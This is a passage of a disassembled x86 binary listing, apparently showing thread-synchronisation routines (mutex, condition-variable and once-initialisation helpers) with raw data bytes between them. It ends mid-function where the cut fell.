loc_4301AB:				; CODE XREF: sub_430180+14j
					; sub_430180+1Bj
		mov	esi, 3


loc_4301B0:				; CODE XREF: sub_430180+29j
		push	offset dword_50E8E0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4301CC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4301CE


loc_4301CC:				; CODE XREF: sub_430180+3Dj
		mov	eax, esi


loc_4301CE:				; CODE XREF: sub_430180+4Aj
		pop	esi
		retn
sub_430180	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301F0:				; CODE XREF: ___:0040164Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_430241
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_430241
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_430221
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 27605E0h
		test	eax, eax
		jnz	short loc_430227
		call	edi
		mov	dword ptr [esi], 1


loc_430221:				; CODE XREF: ___:00430209j
					; ___:0043022Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430227:				; CODE XREF: ___:00430217j
		cmp	dword ptr [esi], 0
		jnz	short loc_430221
		mov	edi, dword_50F8D0


loc_430232:				; CODE XREF: ___:00430239j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_430232
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430241:				; CODE XREF: ___:004301F9j
					; ___:00430201j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430270	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_50E3D8
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_430270	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h,	7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2320909h, 0F8701D8Bh
		dd 26A0050h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 66E89050h
		dd 50023506h, 0E850D3FFh, 232FD34h, 5BC08590h, 0E8560E75h
		dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 2330412h
		dd 28468990h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_430340	proc near		; CODE XREF: sub_401A50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43035E
		test	eax, eax
		jz	short loc_430358
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43035E


loc_430358:				; CODE XREF: sub_430340+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43035E:				; CODE XREF: sub_430340+Aj
					; sub_430340+16j
		xor	eax, eax
		retn
sub_430340	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430380:				; CODE XREF: ___:00401FF0j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43038E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43038E:				; CODE XREF: ___:00430386j
		mov	dword_50E3E8, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4303B0:				; CODE XREF: ___:0040155Aj
		mov	eax, dword_50E3E8
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4303D0	proc near		; CODE XREF: sub_401B13j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4303F2
		push	84h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_430439


loc_4303F2:				; CODE XREF: sub_4303D0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2750834h
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_430439
		push	esi
		call	sub_401BBD
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430439:				; CODE XREF: sub_4303D0+20j
					; sub_4303D0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4303D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430460	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_50E8E0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_44573C
		cmp	esi, 1
		jz	short loc_430495
		mov	eax, [esi+8]
		push	offset dword_50E8E0
		mov	dword_44573C, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430495:				; CODE XREF: sub_430460+15j
		push	offset dword_50E8E0
		xor	esi, esi
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_430460	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4304D0	proc near		; CODE XREF: sub_401BBDj

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_50E8E0
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_44573C
		push	offset dword_50E8E0
		mov	[edx+8], eax
		mov	dword_44573C, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_430540
sub_430520	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430540	proc near		; CODE XREF: sub_430520+7p
					; sub_430660+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_430540	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_430576
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43057E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43057E
		mov	edi, 2
		jmp	short loc_43057E
; ---------------------------------------------------------------------------


loc_430576:				; CODE XREF: ___:0043055Bj
		mov	dword ptr [esp+0Ch], 0


loc_43057E:				; CODE XREF: ___:00430562j
					; ___:0043056Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 27506B1h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_430609
		dec	ecx
		jz	short loc_4305B4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4305B4:				; CODE XREF: ___:00430599j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 277059Ch
		test	esi, esi
		jz	short loc_4305FE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4305F5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4305F5:				; CODE XREF: ___:004305D9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4305FE:				; CODE XREF: ___:004305C1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_430609:				; CODE XREF: ___:00430596j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430660	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_430540
sub_430660	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430690	proc near		; CODE XREF: sub_401C03j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4306C4
		push	esi
		push	ecx
		call	sub_402199
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4306C4:				; CODE XREF: sub_430690+17j
		test	eax, eax
		jnz	short loc_4306CD
		mov	esi, 16h


loc_4306CD:				; CODE XREF: sub_430690+36j
		push	offset dword_50E940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430690	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430700	proc near		; CODE XREF: sub_402199j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_430714
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430714:				; CODE XREF: sub_430700+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_43072F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_43072F
		cmp	dword ptr [eax], 1
		jnz	short loc_43072F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43072F:				; CODE XREF: sub_430700+1Aj
					; sub_430700+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_430754
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430754:				; CODE XREF: sub_430700+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_430770
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_430770
		mov	edi, [edi+4]
		jmp	short loc_430772
; ---------------------------------------------------------------------------


loc_430770:				; CODE XREF: sub_430700+63j
					; sub_430700+69j
		xor	edi, edi


loc_430772:				; CODE XREF: sub_430700+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4307AD
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4307AD:				; CODE XREF: sub_430700+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 27805CAh
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_430700	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430810	proc near		; CODE XREF: sub_40222Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_4308F0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4308F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4308B5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_40177B
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_4308EB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_4308A7
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_4308A0
		add	edx, 10h
		push	edx
		call	sub_401686
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 2780000h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: sub_430810+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308A7:				; CODE XREF: sub_430810+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308B5:				; CODE XREF: sub_430810+1Dj
		push	offset dword_50E940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_4308DB
		push	offset dword_50E940
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308DB:				; CODE XREF: sub_430810+B3j
		push	offset dword_50E940
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_4308EB:				; CODE XREF: sub_430810+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4308F0:				; CODE XREF: sub_430810+Aj
					; sub_430810+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430810	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430940	proc near		; CODE XREF: sub_401A0Fj

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_430963
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_430963:				; CODE XREF: sub_430940+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_430940	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430990	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_4309B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_4309B1
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B1:				; CODE XREF: sub_430990+9j
					; sub_430990+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_430990	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4309D0:				; CODE XREF: ___:00401BA9j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4309ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4309ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_4309ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4309ED:				; CODE XREF: ___:004309D6j
					; ___:004309DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430A10:				; CODE XREF: ___:004018F7j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_430A3A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_430A3A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_430A2E
		test	eax, eax
		jnz	short loc_430A3A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_430A2E:				; CODE XREF: ___:00430A25j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_430A3A:				; CODE XREF: ___:00430A16j
					; ___:00430A1Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A50	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430A71
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430A71
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_430A71
		cmp	edx, 2
		jg	short loc_430A71
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_430A71:				; CODE XREF: sub_430A50+8j
					; sub_430A50+Ej ...
		mov	eax, 16h
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430A90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_430AAE
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_430AAE
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_430AAE
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_430AAE:				; CODE XREF: sub_430A90+8j
					; sub_430A90+Ej ...
		mov	eax, 16h
		retn
sub_430A90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430AD0	proc near		; CODE XREF: sub_402225j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_430B87
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430B87
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430B01
		push	esi
		call	sub_401C03
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_430B01
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B01:				; CODE XREF: sub_430AD0+1Dj
					; sub_430AD0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27605E0h
		test	eax, eax
		jnz	short loc_430B2A


loc_430B0E:				; CODE XREF: sub_430AD0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430B22
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430B22:				; CODE XREF: sub_430AD0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B2A:				; CODE XREF: sub_430AD0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430B6A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FC41E890h
		dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B6A:				; CODE XREF: sub_430AD0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_430BC0
		add	esp, 4
		test	eax, eax
		jz	short loc_430B0E
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430B87:				; CODE XREF: sub_430AD0+Aj
					; sub_430AD0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430BC0	proc near		; CODE XREF: sub_430AD0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_430BDA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27703BFh
		test	eax, eax
		jnz	short loc_430BDA
		retn
; ---------------------------------------------------------------------------


loc_430BDA:				; CODE XREF: sub_430BC0+6j
					; sub_430BC0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_430BC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430C00	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_430D98
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430D98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430C31
		push	esi
		call	sub_401C03
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_430C31
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C31:				; CODE XREF: sub_430C00+1Dj
					; sub_430C00+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27605E0h
		test	eax, eax
		jnz	short loc_430C62


loc_430C40:				; CODE XREF: sub_430C00+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430C62:				; CODE XREF: sub_430C00+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430CA6
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FB09E890h
		dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CA6:				; CODE XREF: sub_430C00+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430CBA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CBA:				; CODE XREF: sub_430C00+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430E10
		add	esp, 8
		sub	eax, 0
		jz	loc_430D7A
		dec	eax
		jz	short loc_430D44
		dec	eax
		jz	short loc_430CE5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430CE5:				; CODE XREF: sub_430C00+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430D17
		nop
		call	near ptr 277078Fh
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D17:				; CODE XREF: sub_430C00+101j
		nop
		call	near ptr 277078Fh
		test	eax, eax
		jl	short loc_430D36
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430D36
		call	near ptr 77C1F2BCh
		nop
		mov	ebp, [eax]


loc_430D36:				; CODE XREF: sub_430C00+11Fj
					; sub_430C00+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D44:				; CODE XREF: sub_430C00+D1j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430D6A
		push	esi
		nop
		call	near ptr 277078Fh
		mov	ebp, 274Ch


loc_430D6A:				; CODE XREF: sub_430C00+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_430D91
		jmp	loc_430C40
; ---------------------------------------------------------------------------


loc_430D7A:				; CODE XREF: sub_430C00+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430D8E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430D8E:				; CODE XREF: sub_430C00+4Dj
					; sub_430C00+187j
		mov	[esi+0Ch], eax


loc_430D91:				; CODE XREF: sub_430C00+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D98:				; CODE XREF: sub_430C00+Aj
					; sub_430C00+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430C00	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430E10	proc near		; CODE XREF: sub_430C00+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430EAE
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430E42
		or	eax, 0FFFFFFFFh


loc_430E2C:				; CODE XREF: sub_430E10+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27703BFh
		test	eax, eax
		jnz	short loc_430E9C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E42:				; CODE XREF: sub_430E10+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430E2C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430E9C:				; CODE XREF: sub_430E10+2Aj
		cmp	eax, 102h
		jnz	short loc_430EAE
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EAE:				; CODE XREF: sub_430E10+Bj
					; sub_430E10+91j
